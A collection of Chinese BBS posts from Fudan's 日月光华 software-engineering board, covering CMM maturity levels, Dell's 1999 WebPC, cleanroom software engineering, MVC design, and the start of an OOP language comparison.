初始级——软件过程混乱、无序。这种状态真实地描述了我国目前大多数中小软件 企业的开发过程。 2） 可重复级——拥有最基本的成本、进度控制等项目管理能力，能够将已经完成的成 功项目经历移植到类似的项目开发过程中去。 3） 已定义级——软件过程开始文档化，这些文档标准指导着企业的软件过程，达到了 定性控制软件开发过程的能力。 4） 已管理级——建立起企业内部软件过程的度量标准，能够对软件过程进行定量控制 。 5） 优化级——软件过程自身能够达到持续改进、不断完善的阶段。先进的软件过程已 经深入人心。 目前CMM的版本不断完善，而且根据不同领域的需求，CMM在具体应用的时候有着不 同的裁剪方法，产生了领域特定的相应的CMM标准。而CMMI（能力成熟度模型的集成）则 设想将各种能力成熟度模型集成到统一的框架中。 不可否认，目前相当数目的软件企业对于CMM的认识还处于起步阶段，有些软件企业 即使通过了某个级别的认证，也没有从意识上真正的达到CMM的软件过程相应的级别的要 求。但是，谁也不能否认CMM给软件产业带来的新的巨大的变革性的指导作用，以及CMM 对于软件质量的提高产生的积极影响。 --gill整理 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] ※ 修改:·jiachong 於 03月04日20:51:56 修改本文·[FROM: 218.79.59.90] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: lwp (飞机的lamp), 信区: Network 标 题: 戴尔推出WebPC网络电脑 发信站: 日月光华站 (Thu Dec 2 16:51:57 1999) , 转信 　　戴尔电脑公司针对消费者，推出一款专门上网的电脑WebPC，不但造型新颖，功能也 与传统电脑不同，可望掀起因特网应用产品的风潮。 　　这次戴尔完全抛弃传统思维，改头换面，将WebPC设计赋予新生命，它的外型看来酷 似一台 温耸娇Х然� 而且款式从入门型到高阶型都有Ｊ 奂鄞�999美元至2399美元，高 阶产品搭配平面显示器等设备。 　　WebPC和一般电脑有不同之处，例如它的滑鼠、键盘连接线是以不同颜色制作，所以 连接时不会搞错；WebPC的键盘与机身有4种颜色可以选择。 　　入门机型搭配了英特尔的433-MHz赛扬芯片（Celeron）、15萤幕、惠普的印表机， 以及一年免费戴尔网络服务，售价999美元。 　　高阶产品使用500-MHzPentiumIII处理器，搭配免费网络服务、平面显示器、印表机 ，售价2399美元。 　　由于日前康柏电脑推出了iPaq，惠普也推出ePC等网络电脑，戴尔也不落人后，推出 这款WebPC；不过康柏与惠普的新产品，都是针对企业用户，戴尔的WebPC则针对消费者 。 　　戴尔产品经理表示，公司将尝试多项因特网应用产品，带动市场风潮。这次WebPC的 设计与制造，有大部分是以外包方式进行，以争取时间。 　　新款WebPC体积比戴尔卖的一般电脑小，以后还会推出更小的款式，明年并将推出搭 配可重复读写光碟机（CD-RW）的WebPC。 　　由于WebPC的网络设定已经事先在电脑中订好，所以消费者买回家后，可以轻松安装 然后上网浏览，绝对是一款方便消费者的网络电脑。 -- 见了mm就灵感大发 港台歌曲唱的全是废话
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]7.净室软件工程介绍 jiachong 发信站: 日月光华 (2003年04月09日12:48:22 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 --bluefield整理 净室软件工程介绍 一、 净室方法概述 1． 净室概念 净室（cleanroom）软件工程室一种应用数学和统计学以经济的方式生产高质量软件的工 程技术。“净室”这个词来源于半导体工业的生产硬件的净室。在硬件生产过程中，严 格的工程过程预防了缺陷的产生，而不是事后再去排除故障。净室技术的重点在于通过 设计和测试中的质量认证来保证软件开发的正确性。净室方法植根于科学，它的应用可 提高软件生产效率并获得软件运行可靠性，从而成为一个工程过程。净室软件工程有两 个重要目标：一是开发过程的可管理性，二是使用时无失效。 2． 净室基础 （1） 函数理论 净室开发方法基于数学中的函数理论。一个程序的规范就是一个函数的规范，描述了一 个程序的定义域（或输入序列）到值域（或输出空间）的映射。一个定义明确（well-d efined）的函数有如下特性：完备性、一致性和正确性。 （2） 统计理论 净室测试方法基于统计学。在软件测试中，用于采样的全体（population）是所有可能 使用情况的集合。其中集合中的每个元素代表系统的一种可能运行情况。统计的目的是 度量系统正确运行一个样本的能力。因为总体是无限的，完全的测试是不可能的，所以 必须利用统计学方法来对系统性能做一个有效的推理。在净室软件工程中，统计测试既 可用于产品检测，也可用于过程检测。 （3） 净室小组的工作 净室是面向小组的方法。净室开发小组完成三项主要工作：制定系统规范、开发和认证 。评审是净室小组的一项重要工作。每个产品从最初的概念到最后形成都要经历多次评 审。有两种评审。一种称为开发评审，开发评审的焦点集中于技术策略、好的想法以及 小组培训和交流。所走工作产品的简化是小组评审的显著目标之一。最初的思路几乎从 来都不是最好的，所以评审的一个关键目标是在规范、设计和验证方面找到更好的思路 。第二种评审称为验证评审。这种评审通过形式化方法来验证工作产品的正确性和完备 性，这些验证通常这样进行，设计者以口头方式注意列举其满足基于函数的正确性条件 的理由。小组顺序检查每个条件，不允许有存在异议的情况。任何修改必须经过后续评 审的重新验证。一个工作产品经过验证评审而不再有更改的必要就被认为是正确和完备 的。 3． 净室技术 净室软件工程可用如下三个关键技术来刻画： （1） 置于统计过程控制之下的增量开发 增量开发基于产品开发中受控迭代的工程原理—控制迭代。增量开发不是把整个开发过 程作为一个整体，而是将其划分为一系列较小的、积累的增量。每个增量都时积累的， 也就是所有以前的增量加上新的工作而不断积累。增量开发是开发小组保持对项目智能 控制的基础。因为小组成员在任何时刻只需把注意立即终于工作的一部分，而不是一次 考虑所有的事情。 增量开发把一个净室项目分成一个有序的开发周期序列。在每个周期完成一些用户功能 。在每个增量开发完成时，产品的功能便可向客户演示。这样客户对产品有真实的改观 认识，他们可不受约束重新确认需求或时需求更加清晰。这将使产品在完成时双方的不 满程度降到最低。 （2） 基于函数的规范、设计和验证 净室采用的方法不仅有坚实的理论基础，而且可操作性也很好。规范从一个外部视图（ 称之为黑盒）开始，然后被转化成一个状态机视图（称之为状态盒），最后由一个过程 （明盒）来实现。这些形式上不同、行为上等价的视图统称为盒子结构。盒子结构是基 于对象的，并支持软件工程的关键原则：信息隐藏和实现分离。 （3） 统计测试和软件认证 净室测试方法采用统计学的基本原理，既当总体太大时必须采取抽样的方法。首先确定 一个使用模型来代表系统所有可能使用的（一般是无限的）总体。然后由使用模型产生 测试用例。因为测使用历史用体的一个随机样本，所以可得到系统预期操作性能的有效 的统计推导。使用模型是指系统使用中所有可能的情形及其发生的概率。使用模型可有 许多形式（包括马尔可夫模型盒形式化的语法）来表示。在马尔可夫模型中，使用模型 是一个状态机组成，状态之间由转移弧线连接，转移弧线指系统测试时可能的激励，并 有一个概率值与之对应。概率指从给定状态进行特定转移的可能性大小。从起始状态穿 过模型到终点状态变得到了一个测试用例。 使用模型是可重用的资源，它能产生任意数目的侧使用例。实际上，测试一个系统可采 用多种使用模型，对每种使用模型可采用多种概率分布。例如，许多系统提供一些很少 使用的功能，但这些功能处理失误的后果很严重，如在核电厂关闭反应堆。这种功能在 一般的使用模型中的执行概率是很小的。当集中测试这种能产生重大后果的功能时，需 要采用严格安全使用模型、冒险使用模型、恶意使用模型或其他特定环境使用模型。 这些技术可分开使用，也可以一起使用。采用这些技术可改进软件生产过程。 4． 净室过程 净室参考模型（CRM）为净室项目运行定义了一套完整的过程和工作产品。CRM由14个分 别对应于软件管理、规范、开发和认证的独立过程组成： l 管理过程包括项目计划、项目管理、性能改进以及工程变更。 l 规范过程包括需求分析、功能规范、使用规范、结构规范和增量计划。 l 开发过程包括软件再工程、增量设计和正确性验证。 l 认证过程包括使用建模、测试计划、统计测试和认证。] 二、 增量式开发的净室管理 统计质量控制之下的增量式开发是软件项目建立和保持管理控制的净室途径。在使用净 室方法时，软件产品是以一系列功能增量的形式开发的，这些增量合起来就形成了最终 的产品。最稳定的需求被首先实现。这些增量的集成是自顶向下来进行的。 1． 增量式开发的优点 （1） 进展的可见性 例用增量式开发，每一步增量实现了一个或多个最终用户功能。每一步增量包含所有早 期的已开发的功能集机上一些新的功能；系统再逐步积累的增量中增长。例如，在早期 增量结束时，开发者可以很有信心的说：系统的20%已100%完成了，而不是推测系统已完 成了20%。 （2） 智能控制 增量时开发通过引用透明性，实现了整个系统开发过程中的智能控制。当拥有引用透明 性时，一个系统的部件无需回溯就能根据其子规范得以实现。无需重做前期增量。这种 策略有利于在一个完整系统中对每个增量进行正确性验证。 （3） 增量系统集成 净室增量式开发允许在整个开发生命期引用透明的用户函数增量的连续集成。因为每一 步增量设计基于一个已验证的子规范和前期增量已测试的接口，因此，几乎没有更深的 设计和接口错误。较好的定义增量贯穿于整个系统开发过程，系统在良好定义的增量忠 言化。测试和验证工作始于开发周期早期。 （4） 连续质量反馈贯穿统计过程控制 已在净室中实践的增量式开发为统计过程控制提供了基础。每一个净室增量都是过程的 一个完整周期，包含规范、开发和新的用户函数的验证，加上到目前为止所有已完成工 作的测试。作为统计过程控制的典型，把过程的每一次反复的性能度量与性能目标相比 较，以决定是否过程一直在控制之下（即是否正如所期望的那样发生）。 （5） 用户使用中不断的功能反馈 增量式开发有助于用户对一个进化系统的执行功能做出尽早的不断的反馈，必要时允许 改变。因为增量执行于系统环境并代表了用户功能的子集，早期的增量能通过用户对系 统功能性和实用性的检测来反馈。这种反馈有助于避免开发出实效的系统和建立用户可 接受的最终产品。 （6） 变更的适应性 在系统需求和性努环境中增量室开发允许不可避免变更的系统适应性。在每一步增量完 成时，系统需求的积累变更所产生的影响能根据当前规范和增量设计来评估。如果变更 于将来增量相互独立，则通常与现已存在的增量开发计划相合并，并对进度和资源进行 可能的调整。如果变更影响已完成的增量，自顶向下修改系统开发，通常重用绝大多数 已存在的增量代码（通常是全部），按照要求的进度和资源来进行相应调整。 （7） 进度与资源管理 项目资源在增量式开发全过程中能在可控制的方式下分配。可用进度是决定待开发的增 量数量和其规模的一个因素。在短进度中，小规模增量将有助于在增量交付与认证组织 间维持充分的时间段，允许一个有序的测试过程。然而，这将给项目开发小组设计和实 现更大、更复杂的增量带来更多负担。进度和复杂性的折衷能够反映增量式开发计划。 另外，从后续增量得到的反馈，为过程和产品性能的目标度量提供了管理，以允许在开 发和测试中对不足和意外收获的适应。 2．增量式开发的理论基础 净室过程中的增量是开发技术是基于引用透明性原理的。引用透明性意味着一个表达式 所关心的唯一的事情是它的值，能用其值相等的子表达式代替。软件增量式开发的基础 在于为程序制定数学函数规则。这种观点认为程序开发作为一种自顶向下的控制结构或 子函数（子规范）的函数改进过程，这种改进将导致基于对象或函数分解，或者是二者 的结合。因为引用透明性，任何精化步骤的验证能够与其它精化步骤相互独立进行，这 就意味着，在系统的大部分组件写出之前，在早期的增量中，系统的体系结构能够被验 证，在后期的增量中，体系结构不需重新验证。 三、 净室软件规范 根据结构化编程的理论，无论多么复杂的程序结构都可用分层结构中的三种基本控制结 构：顺序，选择和循环嵌套而成。然而，软件系统的开发不仅仅需要系统控制流，如今 的大规模系统涉及整个企业中大量数据的存储、检索、传送和处理数据的操作。在缺乏 工程基础的系统开发中，这些操作使数据复杂性不断积累，从而难以控制。净室软件规 范和设计使用了三种系统结构─黑盒、状态盒和明盒，统称为盒子结构。这些结构体现 了数据封装和数据隐藏的重要概念。在逐步求精和验证过程中开发盒子结构，并将系统 控制和数据操作结合起来。系统的开发就是把这些结构以一种可证明的方式逐层嵌套和 排序。 1． 净室规范和设计的盒子结构 盒子结构是在规范和设计中对现实系统的外在基本属性的功能描述。有三种盒子：黑盒 、状态盒、明盒。这些盒子不仅展示了外部行为，而且还提高了内部可见度。黑盒确定 了一个系统或系统组件的外部行为。状态盒则进一步指定了完成外部行为所需的状态数 据。明盒则进一步把状态盒具体化，它确定了完成状态和行为的过程设计。它可是用已 有的黑盒或引入新的黑盒，这些黑盒将在以后细化（明盒由程序控制结构组成），每步 细化是根据前一步进行验证的。这样盒子结构将系统开发的三个方面（行为、数据和过 程的规范）分离开，但又把它们联成一个细化和验证的内聚过程。 （1） 黑盒行为 黑盒定义了一个系统或系统组件的外部行为。当系统接受激励S（视为从其环境的输入） 时，它将产生相应R（作为对其环境的输出），响应不仅与当前激励有关，还与到目前为 止收到的激励有关。 黑盒行为的数学语义可写成如下函数： 历史激励→响应 简记为 SH→R SH表示包括当前激励的所有历史激励。 黑盒定义不包含状态数据及过程实现。它定义了仅取决于于历史使用的能被用户感受到 的外部可见行为。因此，黑盒关心的是从用户角度看待系统行为的问题，而并不考虑状 态和过程的设计。黑盒子规范定义了所有可能使用情况所需的行为。也就是说，在黑盒 规范中为所有可能的当前激励盒历史激励以及它们的组合定义了正确的响应，在净室项 目中黑盒规范的如下三个原则对高效系统开发很关键。 l 对系统拥有者和用户而言，黑盒定义了他们分析和协商的所需行为，这是他们准备资 源、着手开发和测试的前提。 l 对系统开发者而言，黑盒定义了待设计和实现的所需行为。 l 对系统测试者而言，黑盒定义了在测试过程中待确认的所需行为。 （2） 状态盒行为 状态盒规范对系统或其组件进行初步细化，定义了状态空间。状态盒把激励历史封装成 状态数据，但仍没有涉及具体过程。它把旧的状态OS和激励S映射到新的状态NS和响应R 。而新的状态在下一次变换时则变成了旧状态。状态盒行为的于一是一个如下的变换函 数： （旧状态，激励）→（新状态，响应） 或简写为 （OS，S）→（NS,R） 状态盒根据黑盒来细化和验证。状态信息就是为了符合黑盒规范而必须保存的 激励历史，这样的信息来自于黑盒，无需再定义。因为每个历史激励可用状态来表示， 所以每个黑盒有意个状态盒描述。而且，对于一个黑盒，可设计许多不同的状态盒，因 为对一个状态可能有多种不同的表示和访问方法。 状态盒的验证是导出相应黑盒行为并与原来的黑盒相比较看是否等价。这种导 出就是将状态操作转换成激励历史形式。 （3） 明盒行为 系统或其组件的明盒设计定义了状态盒行为的过程。明盒是一个计算机程序或程序集， 基于程序的内部状态OS，它接受激励S，产生新的内部状态NS，并产生响应R。这些过程 由基于结构化程序设计的控制结构（顺序、选择、循环，如果引入并发机制还要加上并 行结构）来定义。明盒用这些控制结构来完成新状态和相应的计算。对于所给状态盒可 以定义多种不同的明盒。明盒可用一个变换函数表示： （旧状态，激励）→（新状态，响应），借助过程 或简记为： （OS，S）→（NS，R），借助过程 明盒的过程可以重用已有的黑盒，也可在后续求精过程过程的状态盒于明盒中 引入新的黑盒。定义明盒是一个关键步骤，因为它必须组织和连接处于一个盒子结构层 次的黑盒。通过定义每个黑盒用途的准确内容，这种显式的连接有助于对项目开发保持 智能控制。另外，组建及其连接是从明盒设计中局部处理需求导出的。 明盒的验证是把其操作抽象成一个导出的状态盒并与原来的状态盒进行比较。 2． 盒子结构层次 盒子结构层次随着逐步求精和验证而不断进化。一个初始黑盒可以被细化为一个状态盒 ，再细化为一个明盒。明盒的控制结构在下一个层次可以包含若干黑盒。这些黑盒可以 是相同的，也可不同，或者是几个的组合。 3． 基于序列的规范过程 规范制订有很多方法。基于顺序的规范是指逐步构造出完备、一致和正确的黑盒和状态 盒规范的过程。 在基于序列的规范过程中，按严格顺序系统的举出所有可能的激励（历史激励）序列， 如按长度0，1，2⋯排列。因为每个序列映射到其正确的响应，所以可通过应用规约规则 辨识等价序列，当完备和一致的定义了系统以后枚举过程结束。 四、 净室软件认证 统计测试时，需要开发出软件投入运行时的使用模型，测试用例由该使用模型随机产生 。然后按照数学和统计学模型对结果进行分析，获取软件的质量度量，并判断测试的充 分性。传统的测试方法（如白盒测试，回归测试）是净室统计使用测试方法的一种补充 ，因此，不必放弃该方法，不过，大量实践表明，基于使用模型的测试更经济有效，并 且能获得实用软件的高可靠性。 1． 基于使用模型的统计测试的优点 软件系统的基于使用模型的统计测试提供了软件产品和过程质量的度量标准，它将用于 软件的整个生命期的管理和决策。由于使用模型是基于规范而不是基于代码的，因此， 源于模型构筑的洞察可用于产生在工程的早期阶段避免出现问题的有价值的管理决策。 l 需求确认 使用模型式系统规范的外部视图，它必须容易的被系统工程师、开发人员、客户和终端 用户所理解。在投入运行的环境中，当对该使用模型（包括可能的输入、可能的输入序 列以及期望的输出）进行系统的评审时，接口和需求往往被简化或明确。 l 资源和进度预测 基于一个使用模型的标准计算，为成果、进度和成本估算提供数据。 l 人工挑选非随机测试用例 依据一定的约定或规则，通过模型检查确定特殊的测试用例，以确保测试了特定的测试 序列。 l 自动生成测试用例 最小覆盖的测试脚本（对模型完全覆盖的最少测试事件）和随机测试用例（依据使用概 率分布）可由测试模型自动生成。模型覆盖测试确保了在随机测试开始之前模型的最低 功能，而且随机测试为投入运行时的可靠性评估提供了依据。 l 有效的、高效的测试 不同的缺陷并不同等的产生失效。位于频繁便利路径上的缺陷比那些位于非频繁路径上 的缺陷更有可能导致失效。随即测试的动机源于这样一个简单的事实：发现失效是根据 现场运行时失效导致故障的大致顺序。测试的预算主要用来通过测试来最大限度的提高 软件在投入运行时的可靠性。 l 聚焦测试 使用模型允许对特别序列的有偏抽样，譬如对非频繁使用但极为重要的功能序列抽样。 可以为这些功能形成单独的模型，或者对原始模型进行变换和抽样以去处偏置。 l 量化测试管理 基于使用模型的统计测试，为决策测试是否完成或软件是否可发布提供了定量的标准。 期望使用（在使用模型中所表征）与测试使用（在测试中所记录）的统计误差作为测试 充分性的度量值。 l 可靠性预测 在一定的统计测试协议下，测试时可以从软件的性能中获得预期运行性能的有效预测。 实际的测试结果（即对每一输入的正确的和不正确的情况）作为使用模型的权重记录下 来，并且该模型的计算结果提供了投入运行时的可靠性预测。 2． 统计测试的理论基础 l 样本与总体 就统计测试而言，软件测试被看作是一个统计学方法的问题。县产生软件所有可能使用 的一个子集，并以这个自己所表现的性能作为依据来考虑整体使用性能。换句话说，就 是通过样本来描述总体。 作为一个出发点，这种类比的前提是：不可能对软件的所有可能应用都进行测试，所有 可能的使用情景将不会被彻底测试。问题的关键就在于如何描述使用总体以及如何形成 用例子集。如果对软件的测试控制合理，那么，由描述恰当的总体的一个随机测试用例 ，通过投入运行时的使用测试，我们可以得到总体的一个有效描述，而对于其他的用例 子集而言，无论多么全面的构筑都是不可能的。 l 软件使用的随机属性 软件的使用的过程被认为是一个随机过程。序列中的下一个事件只依赖于当前而与过去 无关。 五、 与其它方法的比较 1． 净室与CMM CMM为软件过程改进提供了一个良好的定义范例，在许多组织中得到了成功的应用。净室 软件工程为软件规范、开发、测试和认证提供了良好的理论基础和实践。CMM主要关注管 理和组织方面，而净室则主要关注技术和工程实践方面。二者之间有相当一部分是相互 重叠的，但也有一些部分是另一方没有涉及的。 例如，在CMM第二级的关键过程域中，就有一部分是在净室的范围之外。配置管理和子合 同管理是重要的管理问题，但是净室没有涉及它们。另一方面，净室加强了软件开发的 数学基础以及软件测试的统计基础，而CMM没有涉及这些方法的优点。 总体而言，CMM和净室是兼容和互补的。把CMM的管理、组织能力和净室技术结合起来是 一种强有力的过程改进方法。基于技术得净室实践为CMM定义的“what”提供了许多“h ow”。 2． 净室与面向对象 （1） 相同的特性 对于生命周期，净室遵循增量开发而OO遵循迭代开发。这两种方法都是试图利用用户反 馈和适应需求变更。 OO中的用例和净室的使用模型都属于使用场景（usage scenario）。这两种方法都是在 开发的早期阶段来定义出用户视图。它们产生的结果在设计和测试时都被使用到了。它 们都使用了状态机表示法。 OO和净室都使用了重用的方法。OO中的类和净室中的公共服务是重用的基本单元。 净室过程为面向对象开发提供了可管理性和技术严密性。对象从本质上来说是封装了数 据和一系列服务的状态机。一个净室组件用黑盒视图（一个对象的外部行为）、状态盒 视图（一个对象的封装数据）和明盒视图（处理外部需求和访问封装数据的服务）来定 义。一个净是组件从技术上讲就是一个对象。净室盒子结构有助于产生一个完备、一致 和正确的对象行为规范。而且，盒子结构有助于定义和管理数据并且控制数据在各个对 象之间的流动。 在净室技术中，数学形式化方法成为规范、设计、正确性验证和认证测试的基础。这种 成熟的形式化方法可为相对直观的面向对象方法增加精确性和可预见性。净室是应用工 程而非领域工程的一种方法。面向对象方法的普遍力量在于寻求某领域应用特征的关系 和抽象。面向对象的领域分析可作为净室应用工程的补充。 六、 结论 净室软件工程允许在生命周期的早期发现错误，这是后来的昂贵的返工的可能性降到最 低，并且加速了软件上市时间。它使设计变得简化，可验证。软件质量是靠设计和认证 来保证的，而不是测试。净室支持原型法，面向对象和复用。这项技术室与平台和开发 语言无关的，并且生产率很高。净室由一系列精化和变换组成，经过这些精化和变换， 也就一步步从需求到了代码。每一步变换都要根据前一级精化来认证，这就是错误减到 了最少。净室既可以应用于新系统也可应用于已经存在的系统。 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] ※ 修改:·jiachong 於 03月04日20:52:13 修改本文·[FROM: 218.79.59.90] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Jove (死生契阔，与子相悦，执子之手，与子偕老), 信区: SE 标 题: [zz]MVC减少编程复杂性 发信站: 日月光华 (2003年04月20日21:16:03 星期天), 站内信件 MVC减少编程复杂性 　　随着面向对象的语言（如Java）的迅速发展和普及，越来越多的编程人员开始在应 用开发中使用这些语言。然而原有的开发语 言（即面向操作的开发语言如C＋＋等）在短时间内还不可能退出历史舞台，因此现在就 出现了面向对象的语言和传统的面向操作的 语言共存的局面。在设计应用中同时使用两类不同的语言（混合语言设计）比过去只使 用一类语言会带来许多新的问题，其中复杂 性就是混合语言设计中最经常遇到的问题。下面我们探讨混合语言设计中可能导致复杂 性增加的地方，以及如何减少以至消除这些 复杂性。 　　复杂性 　　复杂性是应用开发过程中最令人头疼的一个问题。每当在一个应用中增加一个功能 时，它的复杂性通常呈几何级的增长。这种 复杂性往往导致程序的开发无法再继续下去。这也是现在为什么许多应用只有Beta版本 而没有正式版的原因。 　　专家将应用开发过程产生的复杂性分为两类，即非本质的（accidental）和本质的 （essential）。本质的复杂性是对于解决目 标问题所必然产生的复杂性，非本质的复杂性是由于选择了不适当的开发工具和设计工 具而产生的复杂性。对于一个功能确定的程 序来讲，本质的复杂性是确定的，而非本质的复杂性则是没有限制的。因此，一个应用 的开发要想较顺利地取得成功，就需要尽可 能地减少非本质的复杂性。 　　OOD的特点 　　面向对象的设计（OOD）将一个程序分解成根据具体的对象而设计的一系列元素。这 些具体对象的行为和数据以一种叫做“类 （class）”的编程单元进行打包。应用程序创建一个或多个这些类的例示，也称为“对 象（object）”。类的行为是通过创建对象 之间的关系组合在一起的。 　　OOD允许开发者用两种主要的方法来控制复杂性的增加。第一，OOD定义严格的出口 语义，这允许开发者隐藏实现的细节，并且 明确说明什么方法是其它的对象可以访问的。这个信息隐藏使得可以对大部分的代码进 行修改而不影响其它的对象。 　　第二，OOD将对象之间的关系分为四类：继承、包容、使用和协调。适当地使用这些 关系可以大大减少应用开发过程中本质的和 非本质的复杂性。如，继承是产生面向对象设计中可再使用的主要因素。这个再使用性 是通过代码共享和多态性获得的。这种再使 用可以大大减少应用的本质的复杂性。包容允许一个类的用户在使用包容器时忽略被包 容的类（class）。这个简化使设计者能够大 大减少应用的非本质的复杂性。 　　可视化接口在OOD方面的不足 　　许多程序都需要可视化接口，这些接口由对话框、选单、工具条等组成。这些可视 化接口的增加会引进OOD设计的不足，使得一 个好的面向对象的设计走向反面。可视化接口有三个属性可能会给应用开发带来麻烦。 　　第一，可视化接口提高了传统的面向操作的拓扑结构。用户产生接口事件，如开关 按键和列表框选择等，受到程序的一个模块 的驱动并且用来对静态的数据进行操作。在设计中将这面向操作的拓扑结构同一个面向 对象的设计混合在一起将导致对象之间的大 量的杂合。 　　第二，用户接口通常对于同样的信息经常会需要许多不同的显示。如，一个客户选 择列表框可以包含一个客户的名字和电话号 码以及许多其它客户的名字。 　　当用户选择某个特定的客户后，他／她的名字和电话号码及其它全部相关的信息都 会详细地显示出来。 　　除此之外，一个简单的程序可能具有不同的用户接口。如一个银行账户系统有一个 接口用于出纳员来访问账户平衡、存款和取 款，而监督者的接口则包含另外的信息并加上账号管理的功能。这些不同的接口很容易 导致类的扩展。 　　最后，可视化接口在整个设计阶段还会进行较大的改变。这些改变包括完全重新安 排用户与系统的交互操作等。可视化接口的 这些改变即使在最好的设计中也会增加应用开发的复杂性。 　　MVC弥补可视化接口/OOD的不足 　　模型／界面／控制器（Model／View／Controller，MVC）编程技术允许一个开发者 将一个可视化接口连接到一个面向对象的设 计中，而同时还可以避免我们上面讨论的几个问题。MVC最初是为Smalltalk语言而设计 的。MVC通过创建下面三个层将面向对象的设 计与可视化接口分开： 　　模型（Model）：模型包含完成任务所需要的所有的行为和数据。模型一般由许多类 组成并且使用面向对象的技术来创建满足五 个设计目标的程序。 　　界面（View）：一个界面就是一个程序的可视化元素，如对话框、选单、工具条等 。界面显示从模型中提供的数据，它并不控 制数据或提供除显示外的其它行为。一个单一的程序或模型一般有两种界面行为。 　　控制器（Controller）：控制器将模型映射到界面中。控制器处理用户的输入，每 个界面有一个控制器。它是一个接收用户输 入、创建或修改适当的模型对象并且将修改在界面中体现出来的状态机。控制器在需要 时还负责创建其它的界面和控制器。 　　控制器一直决定哪些界面和模型组件应该在某个给定的时刻是活动的，它一直负责 接收和处理用户的输入，来自用户输入的任 何变化都被从控制器送到模型。 　　界面从模型内的对象中显示数据。这些对象的改变可以通过也可以不通过用户的交 互操作来完成。如：在一个Web浏览器中负责 接收页面的对象收集和装配栈中的信息，必须有某种方式来让这些对象通知界面数据已 经被改变了。在模型变化时有两种方法来对 界面进行更新。 　　在第一种方法中，界面可以告诉模型它正在监视哪些对象。当这些对象中有任何一 个发生变化时，一个信息就被发送给界面。 界面接收这些信息并且相应地进行更新。为了避免我们上面讨论的不足，模型必须能够 不用修改就支持许多种不同的界面显示。 　　第二个方法并不直接将界面连接到模型中，它的控制器负责在模型变化时更新界面 。控制器通过对模型对象或观察器方法进行 监测来检测模型中的变化。这个方法不用了解界面的模型知识，因此界面就变成是可以 跨应用使用的。 　　使用MVC的优点 　　MVC通过以下三种方式消除与用户接口和面向对象的设计有关的绝大部分困难： 　　第一，控制器通过一个状态机跟踪和处理面向操作的用户事件。这允许控制器在必 要时创建和破坏来自模型的对象，并且将面 向操作的拓扑结构与面向对象的设计隔离开来。这个隔离有助于防止面向对象的设计走 向反面。 　　第二，MVC将用户接口与面向对象的模型分开。这允许同样的模型不用修改就可使用 许多不同的界面显示方式。除此之外，如果 模型更新由控制器完成，那么界面就可以跨应用再使用。 　　最后，MVC允许应用的用户接口进行大的变化而不影响模型。每个用户接口的变化将 只需要对控制器进行修改，但是既然控制器 包含很少的实际行为，它是很容易修改的。 　　面向对象的设计人员在将一个可视化接口添加到一个面向对象的设计中时必须非常 小心，因为可视化接口的面向操作的拓扑结 构可以大大增加设计的复杂性。 　　MVC设计允许一个开发者将一个好的面向对象的设计与用户接口隔离开来，允许在同 样的模型中容易地使用多个接口，并且允许 在实现阶段对接口作大的修改而不需要对相应的模型进行修改。 -- "I'm not a great programmer; I'm just a good programmer with great habits". ---Kent Beck ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.38.144] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: LiJohn (永久), 信区: SE 标 题: [转载][zz]OOP语言技术比较：Java，C++，Object Pascal 发信站: 日月光华 (2003年04月10日19:14:31 星期四), 站内信件 【 以下文字转载自 VCL 讨论区 】 【 原文由 aworm 所发表 】 OOP语言技术比较：Java，C++，Object Pascal http://www.marcocantu.com 本文将主要涉及三种面向对象语言：Internet上最流行的语言Java，最常见的OOP语言C ++，以及Borland公司用于他们的集成开发环境Delphi中的Object Pascal。这三种语言 具有很多相同点。本文将从多个技术角度对这三种语言进行深入研究，并逐一比较。至 于哪一种语言最优秀，我不想做过多的评论，这在很大程度上取决于你究竟要做什么。 本文假定你基本掌握了所涉及的三种语言中的一种，或者至少大体上对OOP概念有一定的 了解。我将会描述一些重要的语言特性，然后我会对三种语言的实现作一个比较。我不 打算举实际的例子，我并不是要教授OOP，只是比较这些语言。 OOP关键特性 面向对象程序设计（OOP）并不是一种新的程序设计技术。它最早可以上溯到Simula-67 ，虽然它的第一个真正完整的实现是Simula-80。在80年代下半期，OOP变得流行起来， 并且出现了许多支持OOP的语言，比如C++，Objective-C（另一种C语言扩展），Object PAscal和Turbo Pascal，CLOS（Lisp的面向对象扩展），Eiffel，Ada（其最新的版本 ），以及最近的Java。本文将集中讨论C++、Object Pascal和Java，并有限的设计其它 OOP语言。 OOP的关键特性是广为人知的，在继续下面的内容之前，我将简单的重复一下，以便你再 熟悉一下这些通用技术。 ·第一个关键特性是定义了类，封装了表现和操作的抽象数据类型。在OOP语言中，类是 模块、封装和数据抽象的基础。 ·第二个关键特性是继承，从已存在的类型中继承元素（表现和方法），改变或扩展旧 类型的方法。 ·第三个关键技术被称为多态性，它允许使用类似的方法操作不同类型的对象（通常是 子类对象）。它使得类的可用性进一步提高，程序也因此更容易维护和扩展。 一种语言如果是面向对象的，必须具有类、继承和多态这几个特性（仅支持类而不支持 继承和多态的语言，通常被称为基于对象的）。不同的OOP语言可能会使用完全不同的方 法实现以上几个特性。我们可以通过比较类型检查机制、对不同程序设计模型的支持以 及所支持的对象模型来区别不同的OOP语言。下面我将深入语言特性的细节。 编译期类型检查 vs. 运行期类型检查 类型的强壮性是评价程序设计语言的重要标准。涉及到类型检查的内容包括对已存在的 方法的调用，方法的参数的类型，数组边界的检查，等等。 C++、Java和Object Pascal多或多或少的支持编译期类型检查，其中，C++的类型检查最 弱，而Java的最强。原因是，C++保留了对C语言的支持，而C语言虽然支持编译期类型检 查，却极其微弱。例如，C和C++认为所有数字类型都是兼容的（虽然向整型变量赋浮点 数值时编译器会报警）。在Object Pascal和Java语言中，布尔值与整型数值不同，而字 